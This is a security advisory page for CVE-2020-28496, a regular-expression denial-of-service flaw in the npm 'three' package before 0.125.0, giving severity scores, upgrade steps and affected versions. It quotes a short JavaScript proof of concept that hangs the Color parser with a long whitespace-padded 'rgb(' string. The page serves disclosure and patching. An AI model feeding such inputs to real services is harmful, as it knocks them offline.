Live threats

All CVEs / Three Project

CVE-2020-28496Three Project Three

High 7.5 No auth needed

Priority
60
CVSS 3.1
7.5
EPSS
2.5%
probability of exploitation in 30 days · percentile 86
Auth required
No
Published
Feb 18, 2021
Updated
Jun 17, 2026
Category
Application · Cross-platform
Weakness (CWE)
CWE-400
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

What happens

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Original NVD text.

What to do

  1. Apply the vendor's security update for Three.
  2. It can be exploited without authentication: if you cannot patch now, restrict Internet access to the affected service.

Affected packages

EcosystemPackageAffected versionsFixed inHow to upgrade
npm three < 0.125.0 0.125.0 npm install three@0.125.0

Per OSV / GitHub Advisories (GHSA-fq6p-x6j3-cmmq). Check the version in your lockfile before upgrading.

Affected products (CPE)

VendorProductVersions
three_projectthree< 0.125.0

Official sources

References

Links published by the sources. Open them with care.